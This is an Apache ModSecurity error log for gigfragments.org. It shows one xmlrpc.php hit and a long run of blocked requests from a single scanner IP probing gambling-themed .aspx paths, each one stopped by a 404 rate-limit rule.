[Sun Feb 08 00:28:09.162504 2026] [:error] [pid 62641:tid 62659] [client 136.115.161.67:46100] [client 136.115.161.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.161.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYdoGS_seVuUK_C4AppVbAAAANA"]
[Sun Feb 08 00:55:26.377528 2026] [:error] [pid 62341:tid 62404] [client 51.195.103.76:20654] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYdufp-t2yekx5OosV4dgQAAAEI"]
[Sun Feb 08 00:55:28.245850 2026] [:error] [pid 62342:tid 62441] [client 51.195.103.76:20662] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYdugOwzANoqjscwU_68fwAAAIw"]
[Sun Feb 08 00:55:30.155118 2026] [:error] [pid 62641:tid 62651] [client 51.195.103.76:20676] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYdugi_seVuUK_C4AppengAAAMg"]
[Sun Feb 08 00:55:32.141155 2026] [:error] [pid 16829:tid 16845] [client 51.195.103.76:4908] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYduhAQFls00VxRngXufoQAAAUQ"]
[Sun Feb 08 00:55:34.059308 2026] [:error] [pid 46302:tid 46359] [client 51.195.103.76:4920] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYduhuLz0c8aDYK5YhbHYgAAAQg"]
[Sun Feb 08 00:55:35.978574 2026] [:error] [pid 62340:tid 62386] [client 51.195.103.76:4934] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYduhwp6H49g9bqshiuAzgAAAAs"]
[Sun Feb 08 00:55:38.049907 2026] [:error] [pid 17001:tid 17035] [client 51.195.103.76:4938] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYduit0X31QDRSlPKmRjqAAAAZM"]
[Sun Feb 08 00:55:40.080499 2026] [:error] [pid 62342:tid 62437] [client 51.195.103.76:4944] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYdujOwzANoqjscwU_68uwAAAIg"]
[Sun Feb 08 00:55:42.090493 2026] [:error] [pid 17001:tid 17025] [client 51.195.103.76:48182] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYdujt0X31QDRSlPKmRjrQAAAYk"]
[Sun Feb 08 00:55:44.107858 2026] [:error] [pid 16829:tid 16863] [client 51.195.103.76:48198] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYdukAQFls00VxRngXuftQAAAVY"]
[Sun Feb 08 00:55:45.956918 2026] [:error] [pid 62340:tid 62393] [client 51.195.103.76:48208] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYdukQp6H49g9bqshiuA2wAAABI"]
[Sun Feb 08 00:55:47.969762 2026] [:error] [pid 17001:tid 17026] [client 51.195.103.76:48222] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYduk90X31QDRSlPKmRjuAAAAYo"]
[Sun Feb 08 00:55:49.894602 2026] [:error] [pid 16829:tid 16854] [client 51.195.103.76:48228] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYdulQQFls00VxRngXuftwAAAU0"]
[Sun Feb 08 00:55:51.943607 2026] [:error] [pid 46302:tid 46374] [client 51.195.103.76:57514] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYdul-Lz0c8aDYK5YhbHbwAAARc"]
[Sun Feb 08 00:55:54.124758 2026] [:error] [pid 62341:tid 62417] [client 51.195.103.76:57528] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYdump-t2yekx5OosV4dmQAAAE8"]
[Sun Feb 08 00:55:56.142024 2026] [:error] [pid 17001:tid 17036] [client 51.195.103.76:57540] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYdunN0X31QDRSlPKmRjwgAAAZQ"]
[Sun Feb 08 00:55:58.239695 2026] [:error] [pid 62342:tid 62447] [client 51.195.103.76:57546] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYdunuwzANoqjscwU_688AAAAJI"]
[Sun Feb 08 00:56:00.254483 2026] [:error] [pid 17001:tid 17025] [client 51.195.103.76:57554] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYduoN0X31QDRSlPKmRjywAAAYk"]
[Sun Feb 08 00:56:02.154231 2026] [:error] [pid 62342:tid 62436] [client 51.195.103.76:61172] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYduouwzANoqjscwU_689AAAAIc"]
[Sun Feb 08 00:56:04.181969 2026] [:error] [pid 17001:tid 17038] [client 51.195.103.76:61174] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYdupN0X31QDRSlPKmRj1gAAAZY"]
[Sun Feb 08 00:56:06.077686 2026] [:error] [pid 17001:tid 17026] [client 51.195.103.76:61178] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYdupt0X31QDRSlPKmRj2wAAAYo"]
[Sun Feb 08 00:56:08.129328 2026] [:error] [pid 62340:tid 62386] [client 51.195.103.76:61182] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYduqAp6H49g9bqshiuA5gAAAAs"]
[Sun Feb 08 00:56:10.160968 2026] [:error] [pid 62341:tid 62410] [client 51.195.103.76:61186] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYduqp-t2yekx5OosV4doAAAAEg"]
[Sun Feb 08 00:56:12.179429 2026] [:error] [pid 62340:tid 62389] [client 51.195.103.76:39314] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYdurAp6H49g9bqshiuA7QAAAA4"]
[Sun Feb 08 00:56:14.244722 2026] [:error] [pid 16829:tid 16855] [client 51.195.103.76:39330] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYdurgQFls00VxRngXufzwAAAU4"]
[Sun Feb 08 00:56:16.336062 2026] [:error] [pid 16829:tid 16857] [client 51.195.103.76:39332] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aYdusAQFls00VxRngXuf1QAAAVA"]
[Sun Feb 08 00:56:18.233264 2026] [:error] [pid 16829:tid 16856] [client 51.195.103.76:39348] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aYdusgQFls00VxRngXuf2QAAAU8"]
[Sun Feb 08 00:56:20.242130 2026] [:error] [pid 16829:tid 16846] [client 51.195.103.76:39356] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aYdutAQFls00VxRngXuf3QAAAUU"]
[Sun Feb 08 00:57:04.642916 2026] [:error] [pid 62342:tid 62439] [client 51.195.103.76:46744] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYdu4OwzANoqjscwU_69FgAAAIo"]
[Sun Feb 08 00:57:06.546755 2026] [:error] [pid 62341:tid 62409] [client 51.195.103.76:46754] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYdu4p-t2yekx5OosV4dyAAAAEc"]
[Sun Feb 08 00:57:08.561203 2026] [:error] [pid 62342:tid 62439] [client 51.195.103.76:46768] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYdu5OwzANoqjscwU_69IwAAAIo"]
[Sun Feb 08 00:57:10.614787 2026] [:error] [pid 62340:tid 62394] [client 51.195.103.76:46770] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYdu5gp6H49g9bqshiuBKwAAABM"]
[Sun Feb 08 00:57:12.613792 2026] [:error] [pid 46302:tid 46374] [client 51.195.103.76:37738] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYdu6OLz0c8aDYK5YhbIAgAAARc"]
[Sun Feb 08 00:57:14.478063 2026] [:error] [pid 62342:tid 62451] [client 51.195.103.76:37746] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYdu6uwzANoqjscwU_69KQAAAJY"]
[Sun Feb 08 00:57:16.460819 2026] [:error] [pid 62641:tid 62648] [client 51.195.103.76:37750] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYdu7C_seVuUK_C4Appe4wAAAMU"]
[Sun Feb 08 00:57:18.489006 2026] [:error] [pid 62341:tid 62420] [client 51.195.103.76:37760] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYdu7p-t2yekx5OosV4d0AAAAFI"]
[Sun Feb 08 00:57:20.505649 2026] [:error] [pid 62342:tid 62441] [client 51.195.103.76:37776] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYdu8OwzANoqjscwU_69LQAAAIw"]
[Sun Feb 08 00:57:22.552981 2026] [:error] [pid 62641:tid 62646] [client 51.195.103.76:23432] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYdu8i_seVuUK_C4Appe5gAAAMM"]
[Sun Feb 08 00:57:24.579328 2026] [:error] [pid 17001:tid 17018] [client 51.195.103.76:23436] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYdu9N0X31QDRSlPKmRkSAAAAYI"]
[Sun Feb 08 00:57:26.467179 2026] [:error] [pid 62641:tid 62656] [client 51.195.103.76:23450] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYdu9i_seVuUK_C4Appe7gAAAM0"]
[Sun Feb 08 00:57:28.499873 2026] [:error] [pid 62342:tid 62443] [client 51.195.103.76:23460] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYdu-OwzANoqjscwU_69NwAAAI4"]
[Sun Feb 08 00:57:30.523759 2026] [:error] [pid 62342:tid 62438] [client 51.195.103.76:23470] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYdu-uwzANoqjscwU_69PgAAAIk"]
[Sun Feb 08 00:57:32.503740 2026] [:error] [pid 62641:tid 62649] [client 51.195.103.76:3650] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYdu_C_seVuUK_C4Appe8wAAAMY"]
[Sun Feb 08 00:57:34.560087 2026] [:error] [pid 16829:tid 16849] [client 51.195.103.76:3654] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYdu_gQFls00VxRngXugLgAAAUg"]
[Sun Feb 08 00:57:36.560289 2026] [:error] [pid 62342:tid 62451] [client 51.195.103.76:3662] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYdvAOwzANoqjscwU_69RwAAAJY"]
[Sun Feb 08 00:57:38.475969 2026] [:error] [pid 62641:tid 62654] [client 51.195.103.76:3670] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYdvAi_seVuUK_C4Appe-gAAAMs"]
[Sun Feb 08 00:57:40.522724 2026] [:error] [pid 62341:tid 62405] [client 51.195.103.76:3672] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYdvBJ-t2yekx5OosV4d3AAAAEM"]
[Sun Feb 08 00:57:42.580043 2026] [:error] [pid 62340:tid 62380] [client 51.195.103.76:55388] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYdvBgp6H49g9bqshiuBRQAAAAU"]
[Sun Feb 08 00:57:44.737384 2026] [:error] [pid 62341:tid 62414] [client 51.195.103.76:55398] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYdvCJ-t2yekx5OosV4d3gAAAEw"]
[Sun Feb 08 00:57:46.599998 2026] [:error] [pid 46302:tid 46354] [client 51.195.103.76:55412] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYdvCuLz0c8aDYK5YhbIIAAAAQQ"]
[Sun Feb 08 00:57:48.497314 2026] [:error] [pid 16829:tid 16852] [client 51.195.103.76:55416] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYdvDAQFls00VxRngXugMwAAAUs"]
[Sun Feb 08 00:57:50.426491 2026] [:error] [pid 62641:tid 62660] [client 51.195.103.76:55428] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYdvDi_seVuUK_C4AppfCAAAANE"]
[Sun Feb 08 00:57:52.315426 2026] [:error] [pid 62641:tid 62648] [client 51.195.103.76:9504] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aYdvEC_seVuUK_C4AppfCgAAAMU"]
[Sun Feb 08 00:57:54.442602 2026] [:error] [pid 62340:tid 62381] [client 51.195.103.76:9514] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aYdvEgp6H49g9bqshiuBUAAAAAY"]
[Sun Feb 08 00:57:56.539546 2026] [:error] [pid 62641:tid 62666] [client 51.195.103.76:9516] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aYdvFC_seVuUK_C4AppfEAAAANc"]
